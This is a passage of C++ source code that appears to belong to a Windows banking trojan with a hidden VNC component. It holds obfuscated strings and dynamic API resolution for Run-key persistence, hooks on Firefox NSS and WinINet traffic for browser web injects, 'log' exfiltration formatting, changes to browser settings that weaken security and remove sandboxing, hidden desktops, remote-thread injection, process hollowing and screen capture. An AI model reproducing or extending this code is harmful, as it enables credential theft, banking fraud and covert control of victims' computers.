ENC_STR_A"%d"END_ENC_STR; 692 | Strs::winNewLine = ENC_STR_A"\r\n"END_ENC_STR; 693 | 694 | Strs::ntRegPath = ENC_STR_A"\\Registry\\User\\%s\\%s"END_ENC_STR; 695 | Strs::userRunKey = ENC_STR_A"Software\\Microsoft\\Windows\\CurrentVersion\\Run"END_ENC_STR; 696 | 697 | Strs::dllhostExe = ENC_STR_A"dllhost.exe"END_ENC_STR; 698 | Strs::pingRequest = ENC_STR_A"ping"END_ENC_STR; 699 | Strs::dll32binRequest = ENC_STR_A"bin|int32"END_ENC_STR; 700 | Strs::dll64binRequest = ENC_STR_A"bin|int64"END_ENC_STR; 701 | Strs::explorerExe = ENC_STR_A"explorer.exe"END_ENC_STR; 702 | Strs::firefoxExe = ENC_STR_A"firefox.exe"END_ENC_STR; 703 | Strs::chromeExe = ENC_STR_A"chrome.exe"END_ENC_STR; 704 | Strs::iexploreExe = ENC_STR_A"iexplore.exe"END_ENC_STR; 705 | Strs::powershell = ENC_STR_A"powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""END_ENC_STR; 706 | Strs::edgeExe = ENC_STR_A"msedge.exe"END_ENC_STR; 707 | Strs::braveExe = ENC_STR_A"brave.exe"END_ENC_STR; 708 | Strs::injectsRequest = ENC_STR_A"injects"END_ENC_STR; 709 | Strs::firefoxName = ENC_STR_A"Firefox"END_ENC_STR; 710 | Strs::chromeName = ENC_STR_A"Chrome"END_ENC_STR; 711 | Strs::ieName = ENC_STR_A"Internet Explorer"END_ENC_STR; 712 | Strs::chromeDll = ENC_STR_A"chrome.dll"END_ENC_STR; 713 | Strs::bitBlt = ENC_STR_A"BitBlt"END_ENC_STR; 714 | 715 | Strs::nss3dll = ENC_STR_A"nss3.dll"END_ENC_STR; 716 | Strs::nspr4dll = ENC_STR_A"nspr4.dll"END_ENC_STR; 717 | Strs::prRead = ENC_STR_A"PR_Read"END_ENC_STR; 718 | Strs::prWrite = ENC_STR_A"PR_Write"END_ENC_STR; 719 | Strs::rdata = ENC_STR_A".rdata"END_ENC_STR; 720 | 721 | Strs::fc1 = ENC_STR_A"\r\nContent-Length: "END_ENC_STR; 722 | Strs::fc2 = ENC_STR_A"Accept-Encoding"END_ENC_STR; 723 | Strs::fc3 = ENC_STR_A"identity"END_ENC_STR; 724 | Strs::fc4 = ENC_STR_A"Content-Length"END_ENC_STR; 725 | Strs::fc5 = ENC_STR_A"Transfer-Encoding"END_ENC_STR; 726 | Strs::fc6 = ENC_STR_A"Connection"END_ENC_STR; 727 | Strs::fc7 = ENC_STR_A"close"END_ENC_STR; 728 | Strs::fc8 = ENC_STR_A"\r\nContent-Type: "END_ENC_STR; 729 | Strs::fc9 = ENC_STR_A"text/html"END_ENC_STR; 730 | Strs::fc10 = ENC_STR_A"\r\nLocation: "END_ENC_STR; 731 | Strs::fc11 = ENC_STR_A"\r\nContent-Length: "END_ENC_STR; 732 | Strs::fc12 = ENC_STR_A"X-HeyThere: 5eYEp80n3hM"END_ENC_STR; 733 | 734 | Strs::headersEnd = ENC_STR_A"\r\n\r\n"END_ENC_STR; 735 | 736 | Strs::bu1 = ENC_STR_A"\r\n%s: *\r\n"END_ENC_STR; 737 | Strs::bu2 = ENC_STR_A": "END_ENC_STR; 738 | Strs::bu3 = ENC_STR_A"\r\nHost: "END_ENC_STR; 739 | Strs::bu4 = ENC_STR_A"http(s)://"END_ENC_STR; 740 | Strs::bu5 = ENC_STR_A"log|%s|%s|%d|"END_ENC_STR; 741 | 742 | Strs::ie1 = ENC_STR_A"POST"END_ENC_STR; 743 | Strs::ie2 = ENC_STR_A"window.location.href = window.location.href;"END_ENC_STR; 745 | Strs::ie4 = ENC_STR_A"InternetCloseHandle"END_ENC_STR; 746 | Strs::ie5 = ENC_STR_A"InternetQueryDataAvailable"END_ENC_STR; 747 | Strs::ie6 = ENC_STR_A"HttpOpenRequestW"END_ENC_STR; 748 | Strs::ie7 = ENC_STR_A"InternetConnectW"END_ENC_STR; 749 | Strs::ie8 = ENC_STR_A"HttpSendRequestW"END_ENC_STR; 750 | Strs::ie9 = ENC_STR_A"InternetReadFile"END_ENC_STR; 751 | Strs::ie10 = ENC_STR_A"InternetReadFileExW"END_ENC_STR; 752 | Strs::ie11 = ENC_STR_A"InternetWriteFile"END_ENC_STR; 753 | 754 | Strs::exp1 = ENC_STR_A"%appdata%"END_ENC_STR; 755 | Strs::exp2 = ENC_STR_A"%s\\%s\\%s\\%s.ini"END_ENC_STR; 756 | Strs::exp3 = ENC_STR_A"Mozilla"END_ENC_STR; 757 | Strs::exp4 = ENC_STR_A"Firefox"END_ENC_STR; 758 | Strs::exp5 = ENC_STR_A"Profiles"END_ENC_STR; 759 | Strs::exp6 = ENC_STR_A"Profile"END_ENC_STR; 760 | Strs::exp7 = ENC_STR_A"Path"END_ENC_STR; 761 | Strs::exp8 = ENC_STR_A"%s\\%s\\%s\\%s\\%s\\%s.js"END_ENC_STR; 762 | Strs::exp9 = ENC_STR_A"prefs"END_ENC_STR; 763 | Strs::exp10 = ENC_STR_A"network.http.spdy.enabled"END_ENC_STR; 764 | Strs::exp11 = ENC_STR_A"browser.tabs.remote.autostart"END_ENC_STR; 765 | Strs::exp12 = ENC_STR_A"user_pref(\"network.http.spdy.enabled.v3-1\", false);\r\nuser_pref(\"network.http.spdy.enabled.v3\", false);\r\nuser_pref(\"network.http.spdy.enabled\", false);\r\nuser_pref(\"browser.tabs.remote.autostart\", false);\r\nuser_pref(\"browser.tabs.remote.autostart.2\", false);\r\nuser_pref(\"gfx.direct2d.disabled\", true);\r\nuser_pref(\"layers.acceleration.disabled\", true);"END_ENC_STR; 766 | Strs::exp13 = ENC_STR_A"Software\\Microsoft\\Internet Explorer\\Main"END_ENC_STR; 767 | Strs::exp14 = ENC_STR_A"TabProcGrowth"END_ENC_STR; 768 | Strs::exp15 = ENC_STR_A"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3"END_ENC_STR; 769 | Strs::exp16 = ENC_STR_A"2500"END_ENC_STR; 770 | Strs::exp17 = ENC_STR_A" --disable-http2 --use-spdy=off --disable-quic"END_ENC_STR; 771 | Strs::exp18 = ENC_STR_A"CreateProcessInternalW"END_ENC_STR; 772 | Strs::exp19 = ENC_STR_A"NoProtectedModeBanner"END_ENC_STR; 773 | 774 | Strs::hd1 = ENC_STR_A"#32768"END_ENC_STR; 775 | Strs::hd2 = ENC_STR_A"\\rundll32.exe shell32.dll,#61"END_ENC_STR; 776 | Strs::hd3 = ENC_STR_A"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"END_ENC_STR; 777 | Strs::hd4 = ENC_STR_A"TaskbarGlomLevel"END_ENC_STR; 778 | Strs::hd5 = ENC_STR_A"profiles.ini"END_ENC_STR; 779 | Strs::hd6 = ENC_STR_A"-profile "END_ENC_STR; 780 | Strs::hd7 = ENC_STR_A"\\Google\\Chrome\\"END_ENC_STR; 781 | Strs::hd8 = ENC_STR_A"cmd.exe /c start "END_ENC_STR; 782 | Strs::hd9 = ENC_STR_A" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="END_ENC_STR; 783 | Strs::hd10 = ENC_STR_A"User Data\\"END_ENC_STR; 784 | Strs::hd11 = ENC_STR_A"\\Mozilla\\Firefox\\"END_ENC_STR; 785 | Strs::hd12 = ENC_STR_A"IsRelative="END_ENC_STR; 786 | Strs::hd13 = ENC_STR_A"Path="END_ENC_STR; 787 | Strs::hd14 = ENC_STR_A" -no-remote -profile "END_ENC_STR; 788 | 789 | Strs::infoRequest = ENC_STR_A"info|%d|%d|%d|%d|%s|%s|%d|%d"END_ENC_STR; 790 | Strs::pipeName = ENC_STR_A"\\\\.\\pipe\\%s"END_ENC_STR; 791 | Strs::open = ENC_STR_A"open"END_ENC_STR; 792 | Strs::shell_TrayWnd = ENC_STR_A"Shell_TrayWnd"END_ENC_STR; 793 | Strs::verclsidExe = ENC_STR_A"verclsid.exe"END_ENC_STR; 794 | Strs::dll32cachePrefix = ENC_STR_A"32"END_ENC_STR; 795 | Strs::dll64cachePrefix = ENC_STR_A"64"END_ENC_STR; 796 | Strs::loaderDllName = ENC_STR_A"child.dll"END_ENC_STR; 797 | Strs::zoneId = ENC_STR_A":Zone.Identifier"END_ENC_STR; 798 | Strs::trusteer = ENC_STR_A"Trusteer"END_ENC_STR; 799 | 800 | Funcs::pLoadLibraryA = (Types::T_LoadLibrary) GetProcAddress(LoadLibraryA(Strs::kernel32), Strs::loadLibraryA); 801 | HMODULE hUser32 = Funcs::pLoadLibraryA(Strs::user32); 802 | HMODULE hKernel32 = Funcs::pLoadLibraryA(Strs::kernel32); 803 | HMODULE hMsvcrt = Funcs::pLoadLibraryA(Strs::msvcrt); 804 | HMODULE hNtdll = Funcs::pLoadLibraryA(Strs::ntdll); 805 | HMODULE hShlwapi = Funcs::pLoadLibraryA(Strs::shlwapi); 806 | HMODULE hShell32 = Funcs::pLoadLibraryA(Strs::shell32); 807 | HMODULE hSecur32 = Funcs::pLoadLibraryA(Strs::secur32); 808 | HMODULE hAdvapi32 = Funcs::pLoadLibraryA(Strs::advapi32); 809 | HMODULE hWs2_32 = Funcs::pLoadLibraryA(Strs::ws2_32); 810 | HMODULE hVersion = Funcs::pLoadLibraryA(Strs::version); 811 | HMODULE hPsapi = Funcs::pLoadLibraryA(Strs::psapi); 812 | HMODULE hWininet = Funcs::pLoadLibraryA(Strs::wininet); 813 | HMODULE hGdi32 = Funcs::pLoadLibraryA(Strs::gdi32); 814 | 815 | Funcs::pGetProcAddress = (Types::T_GetProcAddress) GetProcAddress(hKernel32, Strs::getProcAddress); 816 | Funcs::pMessageBoxA = (Types::T_MessageBox) Funcs::pGetProcAddress(hUser32, Strs::messageBoxA); 817 | Funcs::pGetWindowsDirectoryA = (Types::T_GetWindowsDirectory) Funcs::pGetProcAddress(hKernel32, Strs::getWindowsDirectoryA); 818 | Funcs::pWideCharToMultiByte = (Types::T_WideCharToMultiByte) Funcs::pGetProcAddress(hKernel32, Strs::wideCharToMultiByte); 819 | Funcs::pLocalAlloc = (Types::T_LocalAlloc) Funcs::pGetProcAddress(hKernel32, Strs::localAlloc); 820 | Funcs::pWsprintfA = (Types::T_wsprintf) Funcs::pGetProcAddress(hUser32, Strs::wsprintfA); 821 | Funcs::pMultiByteToWideChar = (Types::T_MultiByteToWideChar) Funcs::pGetProcAddress(hKernel32, Strs::multiByteToWideChar); 822 | Funcs::pMalloc = (Types::T_malloc) Funcs::pGetProcAddress(hMsvcrt, Strs::malloc); 823 | Funcs::pFree = (Types::T_free) Funcs::pGetProcAddress(hMsvcrt, Strs::free); 824 | Funcs::pVirtualAllocEx = (Types::T_VirtualAllocEx) Funcs::pGetProcAddress(hKernel32, Strs::virtualAllocEx); 825 | Funcs::pWriteProcessMemory = (Types::T_WriteProcessMemory) Funcs::pGetProcAddress(hKernel32, Strs::writeProcessMemory); 826 | Funcs::pCreateRemoteThread = (Types::T_CreateRemoteThread) Funcs::pGetProcAddress(hKernel32, Strs::createRemoteThread); 827 | Funcs::pPathRemoveFileSpecA = (Types::T_PathRemoveFileSpec) Funcs::pGetProcAddress(hShlwapi, Strs::pathRemoveFileSpecA); 828 | Funcs::pGetModuleFileNameA = (Types::T_GetModuleFileName) Funcs::pGetProcAddress(hKernel32, Strs::getModuleFileNameA); 829 | Funcs::pPathFindFileNameA = (Types::T_PathFindFileName) Funcs::pGetProcAddress(hShlwapi, Strs::pathFindFileNameA); 830 | Funcs::pStrncmp = (Types::T_strncmp) Funcs::pGetProcAddress(hMsvcrt, Strs::strncmp); 831 | Funcs::pStrnicmp = (Types::T_strncmp) Funcs::pGetProcAddress(hMsvcrt, Strs::strnicmp); 832 | Funcs::pLstrlenA = (Types::T_lstrlen) Funcs::pGetProcAddress(hKernel32, Strs::lstrlenA); 833 | Funcs::pExitProcess = (Types::T_ExitProcess) Funcs::pGetProcAddress(hKernel32, Strs::exitProcess); 834 | Funcs::pSHGetFolderPathA = (Types::T_SHGetFolderPath) Funcs::pGetProcAddress(hShell32, Strs::shGetFolderPathA); 835 | Funcs::pLstrcpyA = (Types::T_lstrcpy) Funcs::pGetProcAddress(hKernel32, Strs::lstrcpyA); 836 | Funcs::pLstrcatA = (Types::T_lstrcat) Funcs::pGetProcAddress(hKernel32, Strs::lstrcatA); 837 | Funcs::pCopyFileA = (Types::T_CopyFile) Funcs::pGetProcAddress(hKernel32, Strs::copyFileA); 838 | Funcs::pGetVolumeInformationA = (Types::T_GetVolumeInformation) Funcs::pGetProcAddress(hKernel32, Strs::getVolumeInformationA); 839 | Funcs::pGetUserNameExA = (Types::T_GetUserNameEx) Funcs::pGetProcAddress(hSecur32, Strs::getUserNameExA); 840 | Funcs::pLookupAccountNameA = (Types::T_LookupAccountName) Funcs::pGetProcAddress(hAdvapi32, Strs::lookupAccountNameA); 841 | Funcs::pConvertSidToStringSidA = (Types::T_ConvertSidToStringSid) Funcs::pGetProcAddress(hAdvapi32, Strs::convertSidToStringSidA); 842 | Funcs::pLocalFree = (Types::T_LocalFree) Funcs::pGetProcAddress(hKernel32, Strs::localFree); 843 | Funcs::pMemcpy = (Types::T_memcpy) Funcs::pGetProcAddress(hMsvcrt, Strs::memcpy); 844 | Funcs::pLstrcmpA = (Types::T_lstrcmp) Funcs::pGetProcAddress(hKernel32, Strs::lstrcmpA); 845 | Funcs::pLstrcmpiA = (Types::T_lstrcmp) Funcs::pGetProcAddress(hKernel32, Strs::lstrcmpiA); 846 | Funcs::pStrStrA = (Types::T_StrStr) Funcs::pGetProcAddress(hShlwapi, Strs::strStrA); 847 | Funcs::pStrStrIA = (Types::T_StrStr) Funcs::pGetProcAddress(hShlwapi, Strs::strStrIA); 848 | Funcs::pStrtol = (Types::T_strtol) Funcs::pGetProcAddress(hMsvcrt, Strs::strtol); 849 | Funcs::pRealloc = (Types::T_realloc) Funcs::pGetProcAddress(hMsvcrt, Strs::realloc); 850 | Funcs::pWSAStartup = (Types::T_WSAStartup) Funcs::pGetProcAddress(hWs2_32, Strs::wsaStartup); 851 | Funcs::pSocket = (Types::T_socket) Funcs::pGetProcAddress(hWs2_32, Strs::socket); 852 | Funcs::pGethostbyname = (Types::T_gethostbyname) Funcs::pGetProcAddress(hWs2_32, Strs::gethostbyname); 853 | Funcs::pHtons = (Types::T_htons) Funcs::pGetProcAddress(hWs2_32, Strs::htons); 854 | Funcs::pConnect = (Types::T_connect) Funcs::pGetProcAddress(hWs2_32, Strs::connect); 855 | Funcs::pSend = (Types::T_send) Funcs::pGetProcAddress(hWs2_32, Strs::send); 856 | Funcs::pRecv = (Types::T_recv) Funcs::pGetProcAddress(hWs2_32, Strs::recv); 857 | Funcs::pClosesocket = (Types::T_closesocket) Funcs::pGetProcAddress(hWs2_32, Strs::closesocket); 858 | Funcs::pWSACleanup = (Types::T_WSACleanup) Funcs::pGetProcAddress(hWs2_32, Strs::wsaCleanup); 859 | Funcs::pMemset = (Types::T_memset) Funcs::pGetProcAddress(hMsvcrt, Strs::memset); 860 | Funcs::pSleep = (Types::T_Sleep) Funcs::pGetProcAddress(hKernel32, Strs::sleep); 861 | Funcs::pNtOpenKey = (Types::T_NtOpenKey) Funcs::pGetProcAddress(hNtdll, Strs::ntOpenKey); 862 | Funcs::pNtSetValueKey = (Types::T_NtSetValueKey) Funcs::pGetProcAddress(hNtdll, Strs::ntSetValueKey); 863 | Funcs::pCloseHandle = (Types::T_CloseHandle) Funcs::pGetProcAddress(hKernel32, Strs::closeHandle); 864 | Funcs::pRtlCreateUserThread = (Types::T_RtlCreateUserThread) Funcs::pGetProcAddress(hNtdll, Strs::rtlCreateUserThread); 865 | Funcs::pCreateProcessA = (Types::T_CreateProcess) Funcs::pGetProcAddress(hKernel32, Strs::createProcessA); 866 | Funcs::pInitializeCriticalSection = (Types::T_InitializeCriticalSection) Funcs::pGetProcAddress(hKernel32, Strs::initializeCriticalSection); 867 | Funcs::pEnterCriticalSection = (Types::T_EnterCriticalSection) Funcs::pGetProcAddress(hKernel32, Strs::enterCriticalSection); 868 | Funcs::pLeaveCriticalSection = (Types::T_LeaveCriticalSection) Funcs::pGetProcAddress(hKernel32, Strs::leaveCriticalSection); 869 | Funcs::pGetLastError = (Types::T_GetLastError) Funcs::pGetProcAddress(hKernel32, Strs::getLastError); 870 | Funcs::pErrno = (Types::T_errno) Funcs::pGetProcAddress(hMsvcrt, Strs::_errNo); 871 | Funcs::pTolower = (Types::T_tolower) Funcs::pGetProcAddress(hMsvcrt, Strs::toLower); 872 | Funcs::pIsdigit = (Types::T_isdigit) Funcs::pGetProcAddress(hMsvcrt, Strs::isDigit); 873 | Funcs::pStrtoul = (Types::T_strtoul) Funcs::pGetProcAddress(hMsvcrt, Strs::strToul); 874 | Funcs::pIsxdigit = (Types::T_isxdigit) Funcs::pGetProcAddress(hMsvcrt, Strs::isXdigit); 875 | Funcs::pStrtod = (Types::T_strtod) Funcs::pGetProcAddress(hMsvcrt, Strs::strTod); 876 | Funcs::pCreateToolhelp32Snapshot = (Types::T_CreateToolhelp32Snapshot) Funcs::pGetProcAddress(hKernel32, Strs::createToolhelp32Snapshot); 877 | Funcs::pProcess32First = (Types::T_Process32First) Funcs::pGetProcAddress(hKernel32, Strs::process32First); 878 | Funcs::pProcess32Next = (Types::T_Process32Next) Funcs::pGetProcAddress(hKernel32, Strs::process32Next); 879 | Funcs::pStrChrA = (Types::T_StrChr) Funcs::pGetProcAddress(hShlwapi, Strs::strChrA); 880 | Funcs::pStrToIntA = (Types::T_StrToInt) Funcs::pGetProcAddress(hShlwapi, Strs::strToIntA); 881 | Funcs::pGetModuleHandleA = (Types::T_GetModuleHandle) Funcs::pGetProcAddress(hKernel32, Strs::getModuleHandleA); 882 | Funcs::pGetFileVersionInfoSizeA = (Types::T_GetFileVersionInfoSize) Funcs::pGetProcAddress(hVersion, Strs::getFileVersionInfoSizeA); 883 | Funcs::pGetFileVersionInfoA = (Types::T_GetFileVersionInfo) Funcs::pGetProcAddress(hVersion, Strs::getFileVersionInfoA); 884 | Funcs::pVerQueryValueA = (Types::T_VerQueryValue) Funcs::pGetProcAddress(hVersion, Strs::verQueryValueA); 885 | Funcs::pGetModuleInformation = (Types::T_GetModuleInformation) Funcs::pGetProcAddress(hPsapi, Strs::getModuleInformation); 886 | Funcs::pMemcmp = (Types::T_memcmp) Funcs::pGetProcAddress(hMsvcrt, Strs::memcmp); 887 | Funcs::pExpandEnvironmentStringsA = (Types::T_ExpandEnvironmentStrings) Funcs::pGetProcAddress(hKernel32, Strs::expandEnvironmentStringsA); 888 | Funcs::pGetPrivateProfileSectionNamesA = (Types::T_GetPrivateProfileSectionNames) Funcs::pGetProcAddress(hKernel32, Strs::getPrivateProfileSectionNamesA); 889 | Funcs::pGetPrivateProfileStringA = (Types::T_GetPrivateProfileString) Funcs::pGetProcAddress(hKernel32, Strs::getPrivateProfileStringA); 890 | Funcs::pCreateFileA = (Types::T_CreateFile) Funcs::pGetProcAddress(hKernel32, Strs::createFileA); 891 | Funcs::pReadFile = (Types::T_ReadFile) Funcs::pGetProcAddress(hKernel32, Strs::readFile); 892 | Funcs::pWriteFile = (Types::T_WriteFile) Funcs::pGetProcAddress(hKernel32, Strs::writeFile); 893 | Funcs::pRegSetValueExA = (Types::T_RegSetValueEx) Funcs::pGetProcAddress(hAdvapi32, Strs::regSetValueExA); 894 | Funcs::pRegOpenKeyExA = (Types::T_RegOpenKeyEx) Funcs::pGetProcAddress(hAdvapi32, Strs::regOpenKeyExA); 895 | Funcs::pRegCloseKey = (Types::T_RegCloseKey) Funcs::pGetProcAddress(hAdvapi32, Strs::regCloseKey); 896 | Funcs::pGetFileSize = (Types::T_GetFileSize) Funcs::pGetProcAddress(hKernel32, Strs::getFileSize); 897 | Funcs::pResumeThread = (Types::T_ResumeThread) Funcs::pGetProcAddress(hKernel32, Strs::resumeThread); 898 | Funcs::pIsWow64Process = (Types::T_IsWow64Process) Funcs::pGetProcAddress(hKernel32, Strs::isWow64Process); 899 | Funcs::pGetNativeSystemInfo = (Types::T_GetNativeSystemInfo) Funcs::pGetProcAddress(hKernel32, Strs::getNativeSystemInfo); 900 | Funcs::pOpenProcess = (Types::T_OpenProcess) Funcs::pGetProcAddress(hKernel32, Strs::openProcess); 901 | Funcs::pCreateThread = (Types::T_CreateThread) Funcs::pGetProcAddress(hKernel32, Strs::createThread); 902 | Funcs::pGetUserNameW = (Types::T_GetUserName) Funcs::pGetProcAddress(hAdvapi32, Strs::getUserNameW); 903 | Funcs::pGetComputerNameW = (Types::T_GetComputerName) Funcs::pGetProcAddress(hKernel32, Strs::getComputerNameW); 904 | Funcs::pGetVersionExA = (Types::T_GetVersionEx) Funcs::pGetProcAddress(hKernel32, Strs::getVersionExA); 905 | Funcs::pCreateNamedPipeA = (Types::T_CreateNamedPipe) Funcs::pGetProcAddress(hKernel32, Strs::createNamedPipeA); 906 | Funcs::pConnectNamedPipe = (Types::T_ConnectNamedPipe) Funcs::pGetProcAddress(hKernel32, Strs::connectNamedPipe); 907 | Funcs::pDisconnectNamedPipe = (Types::T_DisconnectNamedPipe) Funcs::pGetProcAddress(hKernel32, Strs::disconnectNamedPipe); 908 | Funcs::pInternetCrackUrlA = (Types::T_InternetCrackUrl) Funcs::pGetProcAddress(hWininet, Strs::internetCrackUrlA); 909 | Funcs::pGetTempPathA = (Types::T_GetTempPath) Funcs::pGetProcAddress(hKernel32, Strs::getTempPathA); 910 | Funcs::pGetTempFileNameA = (Types::T_GetTempFileName) Funcs::pGetProcAddress(hKernel32, Strs::getTempFileNameA); 911 | Funcs::pShellExecuteA = (Types::T_ShellExecute) Funcs::pGetProcAddress(hShell32, Strs::shellExecuteA); 912 | Funcs::pIoctlsocket = (Types::T_ioctlsocket) Funcs::pGetProcAddress(hWs2_32, Strs::ioctlsocket); 913 | Funcs::pNtohs = (Types::T_ntohs) Funcs::pGetProcAddress(hWs2_32, Strs::ntohs); 914 | Funcs::pCreateMutexA = (Types::T_CreateMutex) Funcs::pGetProcAddress(hKernel32, Strs::createMutexA); 915 | Funcs::pReleaseMutex = (Types::T_ReleaseMutex) Funcs::pGetProcAddress(hKernel32, Strs::releaseMutex); 916 | Funcs::pNtCreateThreadEx = (Types::T_NtCreateThreadEx) Funcs::pGetProcAddress(hNtdll, Strs::ntCreateThreadEx); 917 | Funcs::pTerminateProcess = (Types::T_TerminateProcess) Funcs::pGetProcAddress(hKernel32, Strs::terminateProcess); 918 | Funcs::pFindWindowA = (Types::T_FindWindow) Funcs::pGetProcAddress(hUser32, Strs::findWindowA); 919 | Funcs::pGetWindowThreadProcessId = (Types::T_GetWindowThreadProcessId) Funcs::pGetProcAddress(hUser32, Strs::getWindowThreadProcessId); 920 | Funcs::pWaitForSingleObject = (Types::T_WaitForSingleObject) Funcs::pGetProcAddress(hKernel32, Strs::waitForSingleObject); 921 | Funcs::pEnumWindows = (Types::T_EnumWindows) Funcs::pGetProcAddress(hUser32, Strs::enumWindows); 922 | Funcs::pGetCurrentProcessId = (Types::T_GetCurrentProcessId) Funcs::pGetProcAddress(hKernel32, Strs::getCurrentProcessId); 923 | Funcs::pDeleteFileA = (Types::T_DeleteFile) Funcs::pGetProcAddress(hKernel32, Strs::deleteFileA); 924 | Funcs::pPathFileExistsA = (Types::T_PathFileExists) Funcs::pGetProcAddress(hShlwapi, Strs::pathFileExistsA); 925 | Funcs::pCreateDirectoryA = (Types::T_CreateDirectory) Funcs::pGetProcAddress(hKernel32, Strs::createDirectoryA); 926 | Funcs::pHttpQueryInfoA = (Types::T_HttpQueryInfo) Funcs::pGetProcAddress(hWininet, Strs::httpQueryInfoA); 927 | Funcs::pHttpQueryInfoW = (Types::T_HttpQueryInfo) Funcs::pGetProcAddress(hWininet, Strs::httpQueryInfoW); 928 | Funcs::pRtlCompressBuffer = (Types::T_RtlCompressBuffer) Funcs::pGetProcAddress(hNtdll, Strs::rtlCompressBuffer); 929 | Funcs::pRtlGetCompressionWorkSpaceSize = (Types::T_RtlGetCompressionWorkSpaceSize) Funcs::pGetProcAddress(hNtdll, Strs::rtlGetCompressionWorkSpaceSize); 930 | Funcs::pSetThreadDesktop = (Types::T_SetThreadDesktop) Funcs::pGetProcAddress(hUser32, Strs::setThreadDesktop); 931 | Funcs::pCreateDesktopA = (Types::T_CreateDesktop) Funcs::pGetProcAddress(hUser32, Strs::createDesktopA); 932 | Funcs::pOpenDesktopA = (Types::T_OpenDesktop) Funcs::pGetProcAddress(hUser32, Strs::openDesktopA); 933 | Funcs::pTerminateThread = (Types::T_TerminateThread) Funcs::pGetProcAddress(hKernel32, Strs::terminateThread); 934 | Funcs::pPostMessageA = (Types::T_PostMessage) Funcs::pGetProcAddress(hUser32, Strs::postMessageA); 935 | Funcs::pSendMessageA = (Types::T_PostMessage) Funcs::pGetProcAddress(hUser32, Strs::sendMessageA); 936 | Funcs::pChildWindowFromPoint = (Types::T_ChildWindowFromPoint) Funcs::pGetProcAddress(hUser32, Strs::childWindowFromPoint); 937 | Funcs::pScreenToClient = (Types::T_ScreenToClient) Funcs::pGetProcAddress(hUser32, Strs::screenToClient); 938 | Funcs::pMoveWindow = (Types::T_MoveWindow) Funcs::pGetProcAddress(hUser32, Strs::moveWindow); 939 | Funcs::pGetWindowRect = (Types::T_GetWindowRect) Funcs::pGetProcAddress(hUser32, Strs::getWindowRect); 940 | Funcs::pGetMenuItemID = (Types::T_GetMenuItemID) Funcs::pGetProcAddress(hUser32, Strs::getMenuItemID); 941 | Funcs::pMenuItemFromPoint = (Types::T_MenuItemFromPoint) Funcs::pGetProcAddress(hUser32, Strs::menuItemFromPoint); 942 | Funcs::pRealGetWindowClassA = (Types::T_RealGetWindowClass) Funcs::pGetProcAddress(hUser32, Strs::realGetWindowClassA); 943 | Funcs::pPtInRect = (Types::T_PtInRect) Funcs::pGetProcAddress(hUser32, Strs::ptInRect); 944 | Funcs::pGetWindowPlacement = (Types::T_GetWindowPlacement) Funcs::pGetProcAddress(hUser32, Strs::getWindowPlacement); 945 | Funcs::pGetWindowLongA = (Types::T_GetWindowLong) Funcs::pGetProcAddress(hUser32, Strs::getWindowLongA); 946 | Funcs::pSetWindowLongA = (Types::T_SetWindowLong) Funcs::pGetProcAddress(hUser32, Strs::setWindowLongA); 947 | Funcs::pWindowFromPoint = (Types::T_WindowFromPoint) Funcs::pGetProcAddress(hUser32, Strs::windowFromPoint); 948 | Funcs::pSHAppBarMessage = (Types::T_SHAppBarMessage) Funcs::pGetProcAddress(hShell32, Strs::shAppBarMessage); 949 | Funcs::pRegQueryValueExA = (Types::T_RegQueryValueEx) Funcs::pGetProcAddress(hAdvapi32, Strs::regQueryValueExA); 950 | Funcs::pGetDesktopWindow = (Types::T_GetDesktopWindow) Funcs::pGetProcAddress(hUser32, Strs::getDesktopWindow); 951 | Funcs::pDeleteDC = (Types::T_DeleteDC) Funcs::pGetProcAddress(hGdi32, Strs::deleteDc); 952 | Funcs::pReleaseDC = (Types::T_ReleaseDC) Funcs::pGetProcAddress(hUser32, Strs::releaseDc); 953 | Funcs::pDeleteObject = (Types::T_DeleteObject) Funcs::pGetProcAddress(hGdi32, Strs::deleteObject); 954 | Funcs::pGetDIBits = (Types::T_GetDIBits) Funcs::pGetProcAddress(hGdi32, Strs::getDiBits); 955 | Funcs::pStretchBlt = (Types::T_StretchBlt) Funcs::pGetProcAddress(hGdi32, Strs::stretchBlt); 956 | Funcs::pSetStretchBltMode = (Types::T_SetStretchBltMode) Funcs::pGetProcAddress(hGdi32, Strs::setStretchBltMode); 957 | Funcs::pSelectObject = (Types::T_SelectObject) Funcs::pGetProcAddress(hGdi32, Strs::selectObject); 958 | Funcs::pCreateCompatibleDC = (Types::T_CreateCompatibleDC) Funcs::pGetProcAddress(hGdi32, Strs::createCompatibleDc); 959 | Funcs::pCreateCompatibleBitmap = (Types::T_CreateCompatibleBitmap) Funcs::pGetProcAddress(hGdi32, Strs::createCompatibleBitmap); 960 | Funcs::pGetDC = (Types::T_GetDC) Funcs::pGetProcAddress(hUser32, Strs::getDc); 961 | Funcs::pIsWindowVisible = (Types::T_IsWindowVisible) Funcs::pGetProcAddress(hUser32, Strs::isWindowVisible); 962 | Funcs::pGetWindow = (Types::T_GetWindow) Funcs::pGetProcAddress(hUser32, Strs::getWindow); 963 | Funcs::pBitBlt = (Types::T_BitBlt) Funcs::pGetProcAddress(hGdi32, Strs::bitBlt); 964 | Funcs::pPrintWindow = (Types::T_PrintWindow) Funcs::pGetProcAddress(hUser32, Strs::printWindow); 965 | Funcs::pGetTopWindow = (Types::T_GetTopWindow) Funcs::pGetProcAddress(hUser32, Strs::getTopWindow); 966 | Funcs::pNtUnmapViewOfSection = (Types::T_NtUnmapViewOfSection) Funcs::pGetProcAddress(hNtdll, Strs::ntUnmapViewOfSection); 967 | Funcs::pNtQueryInformationProcess = (Types::T_NtQueryInformationProcess) Funcs::pGetProcAddress(hNtdll, Strs::ntQueryInformationProcess); 968 | Funcs::pGetThreadContext = (Types::T_GetThreadContext) Funcs::pGetProcAddress(hKernel32, Strs::getThreadContext); 969 | Funcs::pSetThreadContext = (Types::T_SetThreadContext) Funcs::pGetProcAddress(hKernel32, Strs::setThreadContext); 970 | Funcs::pSHFileOperationA = (Types::T_SHFileOperation) Funcs::pGetProcAddress(hShell32, Strs::shFileOperationA); 971 | Funcs::pFindFirstFileA = (Types::T_FindFirstFile) Funcs::pGetProcAddress(hKernel32, Strs::findFirstFileA); 972 | Funcs::pFindNextFileA = (Types::T_FindNextFile) Funcs::pGetProcAddress(hKernel32, Strs::findNextFileA); 973 | 974 | Strs::wNtdll = 